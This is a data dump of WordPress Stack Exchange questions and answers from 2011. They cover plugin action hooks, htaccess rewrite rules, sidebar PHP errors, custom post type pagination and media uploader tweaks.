  <row Id="21815" PostTypeId="1" CreationDate="2011-07-02T18:25:11.540" Score="0" ViewCount="130" Body="&lt;p&gt;I hope someone out there can help me with this one ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've built a custom event list plugin that allows users to enter dates and times to be attached to a post.  The event data is formatted and displayed at the top of the post plus posts in the event category are displayed in a sidebar list.  So far so good.  The script is run using the 'publish_post' hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also added the ability to interface with Google calendar so that when a user adds, updates or deletes event data, that data is also entered/deleted in the specified google calendar(s), again triggered by the 'publish_post' hook.  If a user makes the post a draft, puts it in the trash or deletes it permanently, the event data is deleted from the google calendar(s), using the 'publish_to_draft', 'trashed_post' and 'delete_post' hooks, respectively.  And again, so far so good, as long as this all happen from within the single post view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I'm having trouble is in the posts view - the list view - and specifically when I trash or draft using Quick Edit or Bulk actions.  Apparently these actions do not trigger the aforementioned action hooks and I can't seem to find anything that will tell me what, if any, hooks get triggered by Quick Edit updates or Bulk apply actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any and all help appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6698" LastActivityDate="2011-09-01T04:38:37.067" Title="WordPress Bulk and Quick Edit action hooks help" Tags="&lt;plugins&gt;&lt;actions&gt;" AnswerCount="1" />
  <row Id="21816" PostTypeId="1" CreationDate="2011-06-29T02:08:48.607" Score="0" ViewCount="22" Body="&lt;p&gt;I'm trying to do something with Wordpress that I imagined to be straightforwards but is proving to be anything but (for me at least).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a scenario where I want to use .htaccess / httpd.conf to allow the server to have a real folder, but still serve wordpress from it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In bullet point we'd have two URLS:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/folder/real-file.php&lt;/li&gt;&#xA;&lt;li&gt;/folder/virtual-file-1.html&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/folder/ is a folder that actually sits on the server. It is also set up as a 'category' in Wordpress. When the folder doesn't exist, Wordpress can server it fine&lt;/li&gt;&#xA;&lt;li&gt;real-file.php is a file that sits within /folder/ It's PHP and if a browser points to it I want it to display / process&lt;/li&gt;&#xA;&lt;li&gt;virtual-file-1.html is a Wordpress entry, with it's URL rewritten and -1 as it's unique ID&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've tried creating some Rewrite conditions and rules around this. However, they all result in the same scenario:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/folder/real-file.php display fine&lt;/li&gt;&#xA;&lt;li&gt;/folder/virtual-file-1.html results in a 404&lt;/li&gt;&#xA;&lt;li&gt;/folder/ results in a 403 forbidden (there is no index.php etc... in it)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When the last two are called up, however, I'd like it to call up Wordpress' index.php thus generating the directory view or the blog entry&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the following .htaccess entries  (and quite a few more) all with the same result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^folder/index2.\php$ - [NC,L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L] &#xA;&#xA;RewriteCond %{REQUEST_URI} ^/folder/index2\.php [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L] &#xA;&#xA;RewriteCond %{REQUEST_URI} !/beauty/index2.\php$&#xA;RewriteRule . /index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for where I might be going wrong in this quest? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :) &lt;/p&gt;&#xA;" LastActivityDate="2011-07-02T22:53:10.147" Title="htaccess real folder with virtual files" Tags="&lt;htaccess&gt;" />
  <row Id="21817" PostTypeId="1" CreationDate="2011-06-28T19:52:33.920" Score="1" ViewCount="82" Body="&lt;p&gt;What I am having trouble with is a dropdown box that I want to add to my sidebar. the blog will have more than one user so what I want for the dropdown to do is list all the different users by their display name and then once you click on one of the selected users to redirect you to that users bio page...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem is that the only thing linking the users to their bio pages is the title of the page which will be their full name... so now I have to figure out a way to get the page id based on its title (since in the dropdown you will select the user by their full name which will equal the page title)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I have been trying to do is tweak the wp_dropdown_users by adding stuff to the :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output = &quot;&amp;lt;select onChange='this.form.action=\&quot;/wordpress/?page_id=\&quot;&#xA;           +this.options[this.selectedIndex].text ; this.form.submit()'&#xA;           name='{$name}'{$id} class='$class'&amp;gt;\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now I am pretty sure I need a little php code to query the db or call a function instead of the this.options[this.selectedIndex].text, this code would, hopefully, return only the id of the page by its title... thus the url would be /wordpress/?page_id=(the id number returned)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the function I found for getting the page id by its title:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function get_page_by_title($page_title)&#xA; {&#xA;    $page = get_page_by_title($page_title);&#xA;    // $page is the post array. To just retrieve the id&#xA;    $id = $page-&amp;gt;ID;&#xA;    return $id;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I do not know the syntax well enough to implement it... would it be possible to call this function in this.form.action? is it even possible? any other way? any help would be appreciated and sorry if I didn't do something (research or explanation wise)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. I am doing my blog on my computer as the host so I cant really link to it since its not live sorry&lt;/p&gt;&#xA;" LastEditorUserId="152" LastEditorDisplayName="" LastEditDate="2011-07-02T22:55:54.087" LastActivityDate="2011-08-31T23:37:44.590" Title="Getting the dropdown menu to redirect to different pages?" Tags="&lt;php&gt;&lt;forms&gt;&lt;dropdown&gt;" AnswerCount="1" />
  <row Id="21818" PostTypeId="2" ParentId="21817" CreationDate="2011-07-02T22:54:02.537" Score="0" ViewCount="" Body="&lt;p&gt;ok so i figured it out... i changed the select to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;select onChange='this.form.submit()' name='page_id'{$id} class='$class'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so that name passed in the url gets changed to ?page_id which i want since that is the format i am using (default wordpress format), and then i called my page_by_title function (btw i had to change the name of the get_page_by_title since it was the wp api name and it would otherwise just go into an infinite recursive loop XD) int the options like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;option value='&quot;.page_by_title($display).&quot;'$_selected&amp;gt;&quot; . esc_html($display) . &quot;&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the value passed was the page id... i believe the form must use the get method for this to work&lt;/p&gt;&#xA;" LastActivityDate="2011-07-02T22:54:02.537" />
  <row Id="21819" PostTypeId="1" CreationDate="2011-06-27T09:51:53.403" Score="0" ViewCount="23" Body="&lt;p&gt;Hope you people will be fine, I am using following tutorials for integrating default wordpress media uploader in meta panels. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.webmaster-source.com/2010/01/08/using-the-wordpress-uploader-in-your-plugin-or-theme/&quot; rel=&quot;nofollow&quot;&gt;http://www.webmaster-source.com/2010/01/08/using-the-wordpress-uploader-in-your-plugin-or-theme/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is only working for images, I want to upload videos, and then append video url in respective field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tb_show('', 'media-upload.php?type=**image**&amp;amp;amp;TB_iframe=true');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tb_show('', 'media-upload.php?type=**video**&amp;amp;amp;TB_iframe=true');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Video tab popups and I can upload video, but when I click on 'insert to post' button in thickbox, url does not append to the field. I know I have to change this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;imgurl = jQuery('img',html).attr('src');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I do not how to retrieve url of the video, any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Waiting for your kind replies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" LastActivityDate="2011-07-02T22:56:24.647" Title="Wordpress Default Uploader for Video" Tags="&lt;uploads&gt;&lt;media&gt;&lt;default&gt;" />
  <row Id="21820" PostTypeId="1" CreationDate="2010-08-26T12:34:44.463" Score="2" ViewCount="27" Body="&lt;p&gt;I make some changes over the post before storing it in the database. I use content_save_pre. Some characters like &quot; get done into &lt;code&gt;&amp;amp;#8220&lt;/code&gt;; in the JavaSript code which I insert (part of the change). How do I prevent that from happaning?&lt;/p&gt;&#xA;" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-07-31T18:01:32.243" LastActivityDate="2011-07-31T18:01:32.243" Title="Wordpress problem with htmlentities" Tags="&lt;javascript&gt;&lt;encoding&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21821" PostTypeId="2" ParentId="21820" CreationDate="2011-07-02T22:50:11.597" Score="1" ViewCount="" Body="&lt;p&gt;It seems that the &quot;convert_chars&quot; filter is causing the trouble, try removing it by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter( 'the_content', 'convert_chars' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also try removing the richedit_pre hook (which formats the text for the rich text editor, also uses convert_chars function) by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter( 'the_editor_content', 'wp_richedit_pre' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="6693" LastActivityDate="2011-07-02T22:50:11.597" />
  <row Id="21822" PostTypeId="1" CreationDate="2011-06-28T11:47:56.620" Score="0" ViewCount="14" Body="&lt;p&gt;I have two questions about Wordpress 3.0.5:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) How to add keywords to categories? Standart functional doesn't support it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) How to make &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; not similar with title in text? In categories.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-02T23:01:58.057" Title="Wordpress meta-tags in categories" Tags="&lt;seo&gt;" />
  <row Id="21823" PostTypeId="2" ParentId="21815" CreationDate="2011-07-02T23:23:24.250" Score="0" ViewCount="" Body="&lt;p&gt;For saving changes use &lt;strong&gt;save_post&lt;/strong&gt; hook. That should work when saving the post from Edit post page, Quick edit and Bulk actions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For specific behaviour when just &quot;editing&quot; the post, use &lt;strong&gt;edit_post&lt;/strong&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trash/untrash/delete hooks should work even via Quick edit/Bulk actions. Are you sure you don't have some kind of condition in place that accepts only changes made from Edit post page?&lt;/p&gt;&#xA;" OwnerUserId="6693" LastActivityDate="2011-07-02T23:23:24.250" CommentCount="2" />
  <row Id="21824" PostTypeId="1" AcceptedAnswerId="21827" CreationDate="2011-07-02T23:36:35.500" Score="0" ViewCount="21" Body="&lt;p&gt;I think proxy based comments mostly spam. So what is the best way of determining proxy using comments ?&lt;/p&gt;&#xA;" OwnerUserId="6692" LastActivityDate="2011-07-03T00:00:22.500" Title="Is it possible to determine proxy based comments?" Tags="&lt;spam&gt;" AnswerCount="1" />
  <row Id="21825" PostTypeId="1" AcceptedAnswerId="21832" CreationDate="2011-07-02T23:38:09.443" Score="1" ViewCount="58" Body="&lt;p&gt;Here's what I have in my sidebar.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;aside id=&quot;sidebar&quot;&amp;gt;&#xA;    &amp;lt;?php if ( is_user_logged_in() ) {&#xA;      echo '&amp;lt;a href=&quot;/community&quot;&amp;gt;&amp;lt;img id=&quot;visit-the-forums&quot; src=&quot;'. bloginfo('template_url') . '/images/visit-the-forums.png&quot; alt=&quot;Check out the Forums!&quot; /&amp;gt;&amp;lt;/a&amp;gt;'&#xA;    } else {&#xA;      echo '&amp;lt;a href=&quot;/community&quot;&amp;gt;&amp;lt;img id=&quot;join-the-forums&quot; src=&quot;'. bloginfo('template_url') . '/images/join-the-forums.png&quot; alt=&quot;Join the Forums!&quot; /&amp;gt;&amp;lt;/a&amp;gt;'&#xA;    }&#xA;    ?&amp;gt;&#xA;    &amp;lt;a id=&quot;side-ad&quot;&amp;gt;&#xA;      &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url') ?&amp;gt;/images/ipad-ad.png&quot; alt=&quot;iPad 2 Giveaway!&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;  &amp;lt;/aside&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some reason, it doesn't show (not even in the markup) for any of the pages. I've double-checked all of the other templates to make sure &lt;code&gt;&amp;lt;?php get_sidebar(); ?&amp;gt;&lt;/code&gt; is included. Is there something wrong w/ the code above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I should note that the below works, that is, without the if/else statement.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;aside id=&quot;sidebar&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;/community&quot;&amp;gt;&amp;lt;img id=&quot;join-the-forums&quot; src=&quot;&amp;lt;?php bloginfo('template_url') ?&amp;gt;/images/join-the-forums.png&quot; alt=&quot;Join the Forums!&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;a id=&quot;side-ad&quot;&amp;gt;&#xA;      &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url') ?&amp;gt;/images/ipad-ad.png&quot; alt=&quot;iPad 2 Giveaway!&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;  &amp;lt;/aside&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3714" LastEditorUserId="3714" LastEditorDisplayName="" LastEditDate="2011-07-03T00:08:41.510" LastActivityDate="2011-07-03T06:58:57.190" Title="sidebar isn't showing, what's wrong w/ this code?" Tags="&lt;php&gt;&lt;sidebar&gt;" AnswerCount="2" />
  <row Id="21826" PostTypeId="2" ParentId="21798" CreationDate="2011-07-02T23:46:45.240" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/term-menu-order/&quot; rel=&quot;nofollow&quot;&gt;Term Menu Order&lt;/a&gt; plugin seems like it would do the trick just fine here. I am also about to release a new plugin to handle this type of an issue (hopefully in the next week). I also wrote a blog post about it that will be up later next week. I'll keep you updated. In the meantime, I think the Term Menu Order should work just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, if you contact me through &lt;a href=&quot;http://www.zackdev.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.zackdev.com/&lt;/a&gt;, I'll send you a &quot;beta&quot; of the plugin. It's working well right now, I'm just spending time improving the documentation, internationalization and otherwise making the plugin awesome.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-02T23:46:45.240" CommentCount="2" />
  <row Id="21827" PostTypeId="2" ParentId="21824" CreationDate="2011-07-03T00:00:22.500" Score="1" ViewCount="" Body="&lt;p&gt;It's possible, but it's unlikely that you succeed for comment spammers (and how do you separate them from legitimate proxy users?):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$proxy = $_SERVER['HTTP_X_FORWARDED_FOR'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-03T00:00:22.500" CommentCount="1" />
  <row Id="21828" PostTypeId="2" ParentId="20965" CreationDate="2011-07-03T01:48:24.013" Score="0" ViewCount="" Body="&lt;p&gt;Filter &lt;code&gt;'pre_get_posts'&lt;/code&gt; and set the &lt;code&gt;nopaging&lt;/code&gt; parameter to true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have written a small tutorial about this: &lt;a href=&quot;http://wpengineer.com/2031/how-to-list-all-posts-of-an-archive-a-category-or-a-search-result/&quot; rel=&quot;nofollow&quot;&gt;How To List All Posts Of An Archive, A Category Or A Search Result&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-07-03T01:48:24.013" CommentCount="1" />
  <row Id="21829" PostTypeId="1" AcceptedAnswerId="21858" CreationDate="2011-07-03T02:40:16.743" Score="0" ViewCount="158" Body="&lt;p&gt;For some reason I can'g get pagination using previous_posts_link and next_posts_link working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I have...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; ?&amp;gt;&#xA;&#xA;&amp;lt;?php // The Query&#xA;$the_query = new WP_Query(&#xA;array(&#xA;    'post_type'=&amp;gt;'article',&#xA;    'posts_per_page'=&amp;gt;2,&#xA;    'orderby'=&amp;gt;'date',&#xA;    'paged'=&amp;gt;$paged&#xA;)&#xA;);&#xA;&#xA;// The Loop&#xA;while ( $the_query-&amp;gt;have_posts() ) : $the_query-&amp;gt;the_post();&#xA;&#xA;if($the_query-&amp;gt;current_post == 0 &amp;amp;&amp;amp; $paged == 1) :&#xA;?&amp;gt;&#xA;&amp;lt;article class=&quot;latest&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;summary&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;LATEST ARTICLE:&amp;lt;/h4&amp;gt;&#xA;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;?=the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;div class=&quot;entry-meta&quot;&amp;gt;&#xA;            &amp;lt;?php proagent_posted_on(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-meta --&amp;gt;&#xA;        &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;            &amp;lt;?=get_the_content_limit(300, 'More'); ?&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;entry-topics&quot;&amp;gt;&amp;lt;?=get_the_term_list($post-&amp;gt;ID , 'topics', 'Topics: ',', '); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?=the_post_thumbnail('feature-post-thumbnail'); ?&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&#xA;&amp;lt;?php else: ?&amp;gt;&#xA;&amp;lt;article class=&quot;previous&quot;&amp;gt;&#xA;    &amp;lt;?=the_post_thumbnail(); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;summary&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;?=the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;div class=&quot;entry-meta&quot;&amp;gt;&#xA;            &amp;lt;?php proagent_posted_on(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-meta --&amp;gt;&#xA;        &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;            &amp;lt;?=get_the_content_limit(300, 'More'); ?&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;entry-topics&quot;&amp;gt;&amp;lt;?=get_the_term_list($post-&amp;gt;ID , 'topics', 'Topics: ',', '); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;nav id=&quot;nav-below&quot; class=&quot;navigation&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;alignleft&quot;&amp;gt;&amp;lt;?php previous_posts_link('« Newer Articles') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;alignright&quot;&amp;gt;&amp;lt;?php next_posts_link('Older Articles »') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&amp;lt;!-- #nav-below --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also.. just noticed it works when I go to /articles/page/2 there is a link to /articles/ like there should be but from the /articles/ page there is no link to page 2.. WHY?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PLEASE help if you can... this is driving me crazy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! mark.&lt;/p&gt;&#xA;" OwnerUserId="6694" LastActivityDate="2011-08-18T13:58:08.550" Title="Pagination with custom post type not working" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21830" PostTypeId="2" ParentId="9603" CreationDate="2011-07-03T03:04:42.840" Score="0" ViewCount="" Body="&lt;p&gt;This is very useful, thanks to the both of you.&#xA;You can also add a copyright title attribute with the year automatically set:&#xA;&lt;code&gt;&#xA;$attr['title'] = '© ' . date(&quot;Y&quot;) . ' Copyright ' . get_option('blogname');&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6159" LastActivityDate="2011-07-03T03:04:42.840" />
  <row Id="21831" PostTypeId="2" ParentId="21136" CreationDate="2011-07-03T03:33:22.113" Score="0" ViewCount="" Body="&lt;p&gt;I've solved that issue getting rid of all width and height attributes set by WP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //tidy up img tags. We don't want inline height and width added by WP.&#xA;    //we'd rather use media queries and fluid img.&#xA;        function remove_image_dim_attr($html) {&#xA;            $html=preg_replace( '/width=([&quot;\'])(.*?)\1/', '', $html );&#xA;            $html=preg_replace( '/height=([&quot;\'])(.*?)\1/', '', $html );&#xA;            return $html;&#xA;        }&#xA;        add_filter( 'get_image_tag','remove_image_dim_attr' );&#xA;        add_filter( 'image_send_to_editor','remove_image_dim_attr' );&#xA;        add_filter( 'post_thumbnail_html','remove_image_dim_attr' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6159" LastEditorUserId="6159" LastEditorDisplayName="" LastEditDate="2011-07-03T03:39:05.433" LastActivityDate="2011-07-03T03:39:05.433" />
  <row Id="21832" PostTypeId="2" ParentId="21825" CreationDate="2011-07-03T04:12:12.847" Score="3" ViewCount="" Body="&lt;p&gt;Does the markup after &lt;code&gt;&amp;lt;?php get_sidebar(); ?&amp;gt;&lt;/code&gt; show up? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would guess that this is a silent PHP error, as your lines within the if/else block do not end with semi-colons. :)&lt;/p&gt;&#xA;" OwnerUserId="6682" LastActivityDate="2011-07-03T04:12:12.847" />
  <row Id="21833" PostTypeId="1" CreationDate="2011-07-03T05:20:45.290" Score="0" ViewCount="40" Body="&lt;p&gt;Im using WP Alchemy to set up some custom meta boxes. Since these are being used for audio files, when I create a feed the data does not come in and i cannot create a podcast feed for them.&lt;/p&gt;&#xA;" OwnerUserId="6696" LastActivityDate="2011-08-02T15:36:57.187" Title="Custom meta box data in rss feed" Tags="&lt;metabox&gt;&lt;rss&gt;" AnswerCount="1" />
  <row Id="21834" PostTypeId="1" AcceptedAnswerId="21846" CreationDate="2011-07-03T05:45:23.600" Score="0" ViewCount="30" Body="&lt;p&gt;I am a little confused, the Wordpress 2.8 Widget API reffers to WordPress version 2.8  or is refferred to API version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I use 2.8 Widget API for writing my WordPress 3.1.4 widget?&lt;/p&gt;&#xA;" OwnerUserId="6691" LastActivityDate="2011-07-03T09:20:04.453" Title="Wordpress 2.8 Widget API is suitable for Worpress 3.1.4 plugins development?" Tags="&lt;plugin-development&gt;&lt;wordpress-version&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21835" PostTypeId="2" ParentId="21825" CreationDate="2011-07-03T06:02:21.340" Score="3" ViewCount="" Body="&lt;p&gt;The semicolons should be present at the end of each echo within if/else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help you find some mistakes it is a good practice to activate the WordPress debug variable, so you get some notices about your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do it replacing false for true in the &lt;strong&gt;WP_DEBUG&lt;/strong&gt; var.&#xA;Find in your wordpress root instalation for the file &lt;code&gt;wp-config.php&lt;/code&gt; , backup it, after open/edit and search for the line containig the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_DEBUG', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change to true, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_DEBUG', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, when opening you wite to test your code, if there is some error or notice, you will get in the top of the page. Even in Dasbord.&lt;/p&gt;&#xA;" OwnerUserId="6691" LastEditorUserId="6691" LastEditorDisplayName="" LastEditDate="2011-07-03T06:58:57.190" LastActivityDate="2011-07-03T06:58:57.190" />
  <row Id="21836" PostTypeId="1" AcceptedAnswerId="21839" CreationDate="2011-07-03T06:04:05.467" Score="4" ViewCount="76" Body="&lt;p&gt;I am making a plugin and I have a bunch of different data types that I am creating edit pages for. I'd rather not have to create a separate function to add each one to the admin menus, since they're all using the same function to display their edit page. I have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`add_submenu_page('upload_manage', &quot;Programs&quot;, &quot;Programs&quot;, 'manage_options', 'manage-data&amp;amp;type=program', &quot;manage_data&quot;);`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(note the &lt;code&gt;&amp;amp;type=program&lt;/code&gt; -- that's what I want to work). It adds the correct link that I was trying for to the admin submenu, but when I click the menu item, I get kicked out to the dashboard with the &lt;code&gt;&amp;amp;C=1&lt;/code&gt; URL. Is there any way to do this? Or am I going to have to create 7 different functions that all call the same function to display the edit page.. i.e. &lt;code&gt;manage_programs&lt;/code&gt; &lt;code&gt;manage_schedule&lt;/code&gt; &lt;code&gt;manage_otherstuff&lt;/code&gt; etc...?&lt;/p&gt;&#xA;" OwnerUserId="2659" LastEditorUserId="6691" LastEditorDisplayName="" LastEditDate="2011-07-03T08:07:38.127" LastActivityDate="2011-07-03T08:19:11.843" Title="Is it possible to add an admin page using add_submenu_page() and pass a var in the query string?" Tags="&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;admin-menu&gt;&lt;query-string&gt;" AnswerCount="1" />
  <row Id="21837" PostTypeId="2" ParentId="21763" CreationDate="2011-07-03T06:19:54.763" Score="1" ViewCount="" Body="&lt;p&gt;Just use this, no extra functions required:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;previous-post&quot;&amp;gt; &amp;lt;?php previous_post_link(' &amp;amp;laquo;%link ') ?&amp;gt; &amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;next-post&quot;&amp;gt; &amp;lt;?php next_post_link(' %link &amp;amp;raquo; ') ?&amp;gt; &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just add this to the single.php, not the index.php. This is the simple way to show in single posts only (this won't show the prev. post link on the last post, on the first post there won't be a next post).&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-03T06:19:54.763" />
